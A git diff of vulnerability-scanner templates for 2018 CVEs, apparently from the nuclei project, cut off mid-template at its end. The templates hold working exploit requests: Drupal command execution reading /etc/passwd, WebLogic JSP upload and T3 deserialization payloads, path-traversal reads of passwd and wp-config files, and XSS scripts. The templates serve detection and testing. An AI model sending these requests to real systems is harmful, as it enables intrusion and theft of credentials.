a/nuclei-templates/CVE-2018/CVE-2018-19892.yaml b/nuclei-templates/CVE-2018/CVE-2018-19892.yaml deleted file mode 100644 index 70ca1dc6b6..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-19892.yaml +++ /dev/null @@ -1,51 +0,0 @@ -id: CVE-2018-19892 -info: - name: DomainMOD 4.11.01 - Cross-Site Scripting - author: arafatansari - severity: medium - description: | - DomainMOD 4.11.01 is vulnerable to Cross Site Scripting (XSS) via /domain//admin/dw/add-server.php DisplayName parameters. - reference: - - https://www.exploit-db.com/exploits/45959 - - https://github.com/domainmod/domainmod/issues/85 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - cvss-score: 4.8 - cve-id: CVE-2018-19892 - cwe-id: CWE-79 - metadata: - verified: "true" - tags: cve,cve2018,domainmod,xss,authenticated -requests: - - raw: - - | - POST / HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - new_username={{username}}&new_password={{password}} - - | - POST /admin/dw/add-server.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - new_name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_host=abc&new_protocol=https&new_port=2086&new_username=abc&new_api_token=255&new_hash=&new_notes= - - | - GET /admin/dw/servers.php HTTP/1.1 - Host: {{Hostname}} - cookie-reuse: true - redirects: true - max-redirects: 3 - matchers-condition: and - matchers: - - type: word - part: body - words: - - '">' - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-20062.yaml b/nuclei-templates/CVE-2018/CVE-2018-20062.yaml similarity index 100% rename from nuclei-templates/CVE-2018/cve-2018-20062.yaml rename to nuclei-templates/CVE-2018/CVE-2018-20062.yaml diff --git a/nuclei-templates/CVE-2018/CVE-2018-20985.yaml b/nuclei-templates/CVE-2018/CVE-2018-20985.yaml deleted file mode 100644 index 71ed01c5b8..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-20985.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2018-20985 - -info: - name: WordPress Payeezy Pay <=2.97 - Local File Inclusion - author: daffainfo - severity: critical - description: WordPress Plugin WP Payeezy Pay is prone to a local file inclusion vulnerability because it fails to sufficiently verify user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. WordPress Plugin WP Payeezy Pay version 2.97 is vulnerable; prior versions are also affected. - reference: - - https://www.pluginvulnerabilities.com/2018/12/06/our-improved-proactive-monitoring-has-now-caught-a-local-file-inclusion-lfi-vulnerability-as-well/ - - https://wordpress.org/plugins/wp-payeezy-pay/#developers - - https://www.cvedetails.com/cve/CVE-2018-20985/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2018-20985 - cwe-id: CWE-20 - tags: cve,cve2018,wordpress,lfi,plugin - -requests: - - method: POST - path: - - "{{BaseURL}}/wp-content/plugins/wp-payeezy-pay/donate.php" - - body: "x_login=../../../wp-config" - - matchers-condition: and - matchers: - - type: word - words: - - "The base configuration for WordPress" - - "define( 'DB_NAME'," - - "define( 'DB_PASSWORD'," - condition: and - part: body - - type: status - status: - - 200 - -# Enhanced by mp on 2022/05/13 diff --git a/nuclei-templates/CVE-2018/CVE-2018-2628.yaml b/nuclei-templates/CVE-2018/CVE-2018-2628.yaml new file mode 100644 index 0000000000..4fcb606989 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-2628.yaml @@ -0,0 +1,39 @@ +id: CVE-2018-2628 + +info: + name: Oracle WebLogic Server Deserialization - Remote Code Execution + author: milo2012 + severity: critical + description: | + The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3 contains an easily exploitable vulnerability that allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server. + reference: + - https://www.nc-lp.com/blog/weaponize-oracle-weblogic-server-poc-cve-2018-2628 + - https://nvd.nist.gov/vuln/detail/CVE-2018-2628 + - http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html + - http://www.securitytracker.com/id/1040696 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2018-2628 + cwe-id: CWE-502 + tags: cve,cve2018,oracle,weblogic,network,deserialization + +network: + - inputs: + - data: "{{hex_decode('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')}}" + read: 1024 + - data: "{{hex_decode('000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd071a7727000d3234322e3231342e312e32353461863d1d0000000078')}}" + read: 1024 + - data: "{{hex_decode('000003ad056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707729000a556e69636173745265660000000005a2000000005649e3fd00000000000000000000000000000078fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff')}}" + read: 1024 + + host: + - "{{Hostname}}" + + read-size: 1024 + matchers: + - type: regex + regex: + - "\\$Proxy[0-9]+" + +# Enhanced by mp on 2022/04/14 diff --git a/nuclei-templates/CVE-2018/CVE-2018-2791.yaml b/nuclei-templates/CVE-2018/CVE-2018-2791.yaml deleted file mode 100644 index 0d0071f34e..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-2791.yaml +++ /dev/null @@ -1,49 +0,0 @@ -id: CVE-2018-2791 - -info: - name: Oracle Fusion Middleware WebCenter Sites - Cross-Site Scripting - author: madrobot,leovalcante - severity: high - description: The Oracle WebCenter Sites component of Oracle Fusion Middleware is susceptible to multiple instances of cross-site scripting that could allow unauthenticated attackers with network access via HTTP - to compromise Oracle WebCenter Sites. Impacted versions that are affected are 11.1.1.8.0, 12.2.1.2.0 and 12.2.1.3.0. Successful attacks require human interaction from a person other than the attacker and while - the vulnerability is in Oracle WebCenter Sites, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access - to all Oracle WebCenter Sites accessible data as well as unauthorized update, insert or delete access to some of Oracle WebCenter Sites accessible data. - reference: - - http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html - - http://www.securitytracker.com/id/1040695 - - http://www.securityfocus.com/bid/103800 - - https://www.exploit-db.com/exploits/44752/ - - https://outpost24.com/blog/Vulnerabilities-discovered-in-Oracle-WebCenter-Sites - - https://nvd.nist.gov/vuln/detail/CVE-2018-2791 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N - cvss-score: 8.2 - cve-id: CVE-2018-2791 - tags: cve,cve2018,oracle,xss,wcs - -requests: - - raw: - - | - GET /cs/Satellite?pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/confirmmakeasset&cs_imagedir=qqq%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 - Host: {{BaseURL}} - - - | - GET /cs/Satellite?destpage="&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError HTTP/1.1 - Host: {{BaseURL}} - - stop-at-first-match: true - matchers-condition: or - matchers: - - type: word - part: body - words: - - '/graphics/common/screen/dotclear.gif' - - - type: word - part: body - words: - - '' - - 'Missing translation key' - condition: and - -# Enhanced by mp on 2022/04/20 diff --git a/nuclei-templates/CVE-2018/CVE-2018-2894.yaml b/nuclei-templates/CVE-2018/CVE-2018-2894.yaml deleted file mode 100644 index 06c12a5593..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-2894.yaml +++ /dev/null @@ -1,97 +0,0 @@ -id: CVE-2018-2894 - -info: - name: Oracle WebLogic Server - Remote Code Execution - author: geeknik,pdteam - severity: critical - description: | - The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: WLS - Web Services) is susceptible to a remote code execution vulnerability that is easily exploitable and could allow unauthenticated attackers with network access via HTTP to compromise the server. Supported versions that are affected are 12.1.3.0, 12.2.1.2 and 12.2.1.3. - reference: - - https://blog.detectify.com/2018/11/14/technical-explanation-of-cve-2018-2894-oracle-weblogic-rce/ - - https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2018-2894 - - https://nvd.nist.gov/vuln/detail/CVE-2018-2894 - - http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2018-2894 - tags: cve,cve2018,oracle,weblogic,rce - -requests: - - raw: - - | - POST /ws_utc/resources/setting/options HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - setting_id=general&BasicConfigOptions.workDir=%2Fu01%2Foracle%2Fuser_projects%2Fdomains%2Fbase_domain%2Fservers%2FAdminServer%2Ftmp%2F_WL_internal%2Fcom.oracle.webservices.wls.ws-testclient-app-wls%2F4mcj4y%2Fwar%2Fcss&BasicConfigOptions.proxyHost=&BasicConfigOptions.proxyPort=80 - - - | - POST /ws_utc/resources/setting/keystore HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuim0dyiDSPBPu31g - - ------WebKitFormBoundaryuim0dyiDSPBPu31g - Content-Disposition: form-data; name="ks_name" - - {{randstr}} - ------WebKitFormBoundaryuim0dyiDSPBPu31g - Content-Disposition: form-data; name="ks_edit_mode" - - false - ------WebKitFormBoundaryuim0dyiDSPBPu31g - Content-Disposition: form-data; name="ks_password_front" - - - ------WebKitFormBoundaryuim0dyiDSPBPu31g - Content-Disposition: form-data; name="ks_password" - - - ------WebKitFormBoundaryuim0dyiDSPBPu31g - Content-Disposition: form-data; name="ks_password_changed" - - false - ------WebKitFormBoundaryuim0dyiDSPBPu31g - Content-Disposition: form-data; name="ks_filename"; filename="{{randstr}}.jsp" - Content-Type: application/octet-stream - - <%@ page import="java.util.*,java.io.*"%> - <%@ page import="java.security.MessageDigest"%> - - <% - String cve = "CVE-2018-2894"; - MessageDigest alg = MessageDigest.getInstance("MD5"); - alg.reset(); - alg.update(cve.getBytes()); - byte[] digest = alg.digest(); - StringBuffer hashedpasswd = new StringBuffer(); - String hx; - for (int i=0;i - ------WebKitFormBoundaryuim0dyiDSPBPu31g-- - - - | - GET /ws_utc/css/config/keystore/{{id}}_{{randstr}}.jsp HTTP/1.1 - Host: {{Hostname}} - - extractors: - - type: regex - name: id - internal: true - group: 1 - regex: - - '([0-9]+){{randstr}}' - - matchers: - - type: word - words: - - "26ec00a3a03f6bfc5226fd121567bb58" # MD5 (CVE-2018-2894) - -# Enhanced by mp on 2022/05/13 diff --git a/nuclei-templates/CVE-2018/cve-2018-3714.yaml b/nuclei-templates/CVE-2018/CVE-2018-3714.yaml similarity index 100% rename from nuclei-templates/CVE-2018/cve-2018-3714.yaml rename to nuclei-templates/CVE-2018/CVE-2018-3714.yaml diff --git a/nuclei-templates/CVE-2018/CVE-2018-3760.yaml b/nuclei-templates/CVE-2018/CVE-2018-3760.yaml deleted file mode 100644 index d4508b7285..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-3760.yaml +++ /dev/null @@ -1,48 +0,0 @@ -id: CVE-2018-3760 - -info: - name: Ruby On Rails Path Traversal - author: 0xrudra,pikpikcu - severity: high - description: | - Ruby On Rails is a well-known Ruby Web development framework, which uses Sprockets as a static file server in development environment. Sprockets is a Ruby library that compiles and distributes static resource files. - There is a path traversal vulnerability caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use %252e%252e/ to access the root directory and read or execute any file on the target server. - reference: - - https://github.com/vulhub/vulhub/tree/master/rails/CVE-2018-3760 - - https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf - - https://seclists.org/oss-sec/2018/q2/210 - - https://xz.aliyun.com/t/2542 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-3760 - cwe-id: CWE-200 - tags: cve,cve2018,rails,lfi,ruby - -requests: - - raw: - - | - GET /assets/file:%2f%2f/etc/passwd HTTP/1.1 - Host: {{Hostname}} - - - | - GET /assets/file:%2f%2f{{path}}/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1 - Host: {{Hostname}} - - extractors: - - type: regex - name: path - internal: true - part: body - regex: - - "/etc/passwd is no longer under a load path: (.*?)," - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-3810.yaml b/nuclei-templates/CVE-2018/CVE-2018-3810.yaml deleted file mode 100644 index e417b67c2a..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-3810.yaml +++ /dev/null @@ -1,51 +0,0 @@ -id: CVE-2018-3810 - -info: - name: Oturia WordPress Smart Google Code Inserter <3.5 - Authentication Bypass - author: princechaddha - severity: critical - description: Oturia Smart Google Code Inserter plugin before 3.5 for WordPress allows unauthenticated attackers to insert arbitrary JavaScript or HTML code (via the sgcgoogleanalytic parameter) that runs on all pages served by WordPress. The saveGoogleCode() function in smartgooglecode.php does not check if the current request is made by an authorized user, thus allowing any unauthenticated user to successfully update the inserted code. - reference: - - https://www.exploit-db.com/exploits/43420 - - https://nvd.nist.gov/vuln/detail/CVE-2018-3810 - - https://wordpress.org/plugins/smart-google-code-inserter/#developers - - https://limbenjamin.com/articles/smart-google-code-inserter-auth-bypass.html - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2018-3810 - cwe-id: CWE-287 - tags: wordpress,cve,cve2018,google,edb - metadata: - max-request: 2 - -http: - - method: POST - path: - - "{{BaseURL}}/wp-admin/options-general.php?page=smartcode" - - body: 'sgcgoogleanalytic=&sgcwebtools=&button=Save+Changes&action=savegooglecode' - headers: - Content-Type: application/x-www-form-urlencoded - - - method: GET - path: - - "{{BaseURL}}" - - matchers-condition: and - matchers: - - type: word - words: - - "text/html" - part: header - - - type: word - words: - - '' - part: body - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/05/13 diff --git a/nuclei-templates/CVE-2018/cve-2018-5230.yaml b/nuclei-templates/CVE-2018/CVE-2018-5230.yaml similarity index 100% rename from nuclei-templates/CVE-2018/cve-2018-5230.yaml rename to nuclei-templates/CVE-2018/CVE-2018-5230.yaml diff --git a/nuclei-templates/CVE-2018/CVE-2018-6008.yaml b/nuclei-templates/CVE-2018/CVE-2018-6008.yaml new file mode 100644 index 0000000000..6007d6dd59 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-6008.yaml @@ -0,0 +1,34 @@ +id: CVE-2018-6008 + +info: + name: Joomla! Component Jtag Members Directory 5.3.7 - Arbitrary File Retrieval + author: daffainfo + severity: high + description: Arbitrary file retrieval exists in the Jtag Members Directory 5.3.7 component for Joomla! via the download_file parameter. + reference: + - https://www.exploit-db.com/exploits/43913 + - https://www.cvedetails.com/cve/CVE-2018-6008 + - https://packetstormsecurity.com/files/146137/Joomla-Jtag-Members-Directory-5.3.7-Arbitrary-File-Download.html + - https://www.exploit-db.com/exploits/43913/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-6008 + cwe-id: CWE-200 + tags: cve,cve2018,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_jtagmembersdirectory&task=attachment&download_file=../../../../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-6200.yaml b/nuclei-templates/CVE-2018/CVE-2018-6200.yaml similarity index 100% rename from nuclei-templates/CVE-2018/cve-2018-6200.yaml rename to nuclei-templates/CVE-2018/CVE-2018-6200.yaml diff --git a/nuclei-templates/CVE-2018/CVE-2018-6910.yaml b/nuclei-templates/CVE-2018/CVE-2018-6910.yaml deleted file mode 100644 index 806d1a98c2..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-6910.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2018-6910 - -info: - name: DedeCMS 5.7 - Path Disclosure - author: pikpikcu - severity: high - description: DedeCMS 5.7 allows remote attackers to discover the full path via a direct request for include/downmix.inc.php or inc/inc_archives_functions.php - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2018-6910 - - https://github.com/kongxin520/DedeCMS/blob/master/DedeCMS_5.7_Bug.md - - https://kongxin.gitbook.io/dedecms-5-7-bug/ - - https://nvd.nist.gov/vuln/detail/CVE-2018-6910 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-6910 - cwe-id: CWE-668 - cpe: cpe:2.3:a:dedecms:dedecms:*:*:*:*:*:*:*:* - epss-score: 0.03033 - tags: cve,cve2018,dedecms - metadata: - max-request: 1 - -http: - - method: GET - path: - - "{{BaseURL}}/include/downmix.inc.php" - - matchers-condition: and - matchers: - - - type: word - words: - - "downmix.inc.php" - - "Call to undefined function helper()" - part: body - condition: and - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/07/08 diff --git a/nuclei-templates/CVE-2018/CVE-2018-7422.yaml b/nuclei-templates/CVE-2018/CVE-2018-7422.yaml deleted file mode 100644 index 90f4510250..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-7422.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2018-7422 - -info: - name: WordPress Site Editor <=1.1.1 - Local File Inclusion - author: LuskaBol,0x240x23elu - severity: high - description: | - WordPress Site Editor through 1.1.1 allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php. - reference: - - https://www.exploit-db.com/exploits/44340 - - http://seclists.org/fulldisclosure/2018/Mar/40 - - https://wpvulndb.com/vulnerabilities/9044 - - https://nvd.nist.gov/vuln/detail/CVE-2018-7422 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-7422 - cwe-id: CWE-22,CWE-829 - tags: cve,cve2018,wordpress,wp-plugin,lfi,edb,seclists - metadata: - max-request: 2 - -http: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config.php' - - "{{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd" - - matchers-condition: or - matchers: - - type: word - part: body - words: - - "DB_NAME" - - "DB_PASSWORD" - condition: and - - - type: regex - part: body - regex: - - "root:.*:0:0:" - -# Enhanced by mp on 2022/06/17 diff --git a/nuclei-templates/CVE-2018/CVE-2018-7467.yaml b/nuclei-templates/CVE-2018/CVE-2018-7467.yaml new file mode 100644 index 0000000000..faad3694d6 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-7467.yaml @@ -0,0 +1,33 @@ +id: CVE-2018-7467 + +info: + name: AxxonSoft Axxon Next Directory Traversal + author: 0x_Akoko + severity: high + description: AxxonSoft Axxon Next suffers from a directory traversal vulnerability. + reference: + - https://packetstormsecurity.com/files/146604/AxxonSoft-Axxon-Next-Directory-Traversal.html + - https://nvd.nist.gov/vuln/detail/CVE-2018-7467 + - http://www.projectxit.com.au/blog/2018/2/27/axxonsoft-client-directory-traversal-cve-2018-7467-axxonsoft-axxon-next-axxonsoft-client-directory-traversal-via-an-initial-css2f-substring-in-a-uri-cve-2018-7467 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-7467 + cwe-id: CWE-200 + tags: cve,cve2018,axxonsoft,lfi + +requests: + - raw: + - |+ + GET //css//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows\win.ini HTTP/1.1 + Host: {{Hostname}} + + unsafe: true + matchers: + - type: word + part: body + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and diff --git a/nuclei-templates/CVE-2018/CVE-2018-7490.yaml b/nuclei-templates/CVE-2018/CVE-2018-7490.yaml new file mode 100644 index 0000000000..36e7640822 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-7490.yaml @@ -0,0 +1,35 @@ +id: CVE-2018-7490 + +info: + name: uWSGI PHP Plugin Local File Inclusion + author: madrobot + severity: high + description: uWSGI PHP Plugin before 2.0.17 mishandles a DOCUMENT_ROOT check during use of the --php-docroot option, making it susceptible to local file inclusion. + reference: + - https://uwsgi-docs.readthedocs.io/en/latest/Changelog-2.0.17.html + - https://www.exploit-db.com/exploits/44223/ + - https://www.debian.org/security/2018/dsa-4142 + - https://nvd.nist.gov/vuln/detail/CVE-2018-7490 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-7490 + cwe-id: CWE-22 + tags: cve,cve2018,uwsgi,php,lfi,plugin + +requests: + - method: GET + path: + - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + regex: + - "root:.*:0:0:" + part: body + +# Enhanced by mp on 2022/04/01 diff --git a/nuclei-templates/CVE-2018/CVE-2018-7600.yaml b/nuclei-templates/CVE-2018/CVE-2018-7600.yaml deleted file mode 100644 index 048a4ebe91..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-7600.yaml +++ /dev/null @@ -1,69 +0,0 @@ -id: CVE-2018-7600 - -info: - name: Drupal - Remote Code Execution - author: pikpikcu - severity: critical - description: Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations. - reference: - - https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2018-7600 - - https://nvd.nist.gov/vuln/detail/CVE-2018-7600 - - https://www.drupal.org/sa-core-2018-002 - - https://groups.drupal.org/security/faq-2018-002 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2018-7600 - cwe-id: CWE-20 - metadata: - max-request: 1 - shodan-query: http.component:"drupal" - tags: cve,cve2018,drupal,rce,kev,cisa,vulhub - -http: - - raw: - - | - POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 - Host: {{Hostname}} - Accept: application/json - Referer: {{Hostname}}/user/register - X-Requested-With: XMLHttpRequest - Content-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663 - - -----------------------------99533888113153068481322586663 - Content-Disposition: form-data; name="mail[#post_render][]" - - passthru - -----------------------------99533888113153068481322586663 - Content-Disposition: form-data; name="mail[#type]" - - markup - -----------------------------99533888113153068481322586663 - Content-Disposition: form-data; name="mail[#markup]" - - cat /etc/passwd - -----------------------------99533888113153068481322586663 - Content-Disposition: form-data; name="form_id" - - user_register_form - -----------------------------99533888113153068481322586663 - Content-Disposition: form-data; name="_drupal_ajax" - - - matchers-condition: and - matchers: - - type: word - words: - - "application/json" - part: header - - - type: regex - regex: - - "root:.*:0:0:" - part: body - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/05/13 diff --git a/nuclei-templates/CVE-2018/CVE-2018-7662.yaml b/nuclei-templates/CVE-2018/CVE-2018-7662.yaml new file mode 100644 index 0000000000..9794f65573 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-7662.yaml @@ -0,0 +1,51 @@ +id: CVE-2018-7662 + +info: + name: CouchCMS <= 2.0 - Path Disclosure + author: ritikchaddha + severity: medium + description: CouchCMS <= 2.0 allows remote attackers to discover the full path via a direct request to includes/mysql2i/mysql2i.func.php or addons/phpmailer/phpmailer.php. + remediation: | + Upgrade to the latest version of CouchCMS (2.1 or higher) to mitigate this vulnerability. + reference: + - https://github.com/CouchCMS/CouchCMS/issues/46 + - https://nvd.nist.gov/vuln/detail/CVE-2018-7662 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2018-7662 + cwe-id: CWE-200 + epss-score: 0.00286 + epss-percentile: 0.65291 + cpe: cpe:2.3:a:couchcms:couch:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: couchcms + product: couch + tags: couchcms,fpd,cve,cve2018 + +http: + - method: GET + path: + - "{{BaseURL}}/includes/mysql2i/mysql2i.func.php" + - 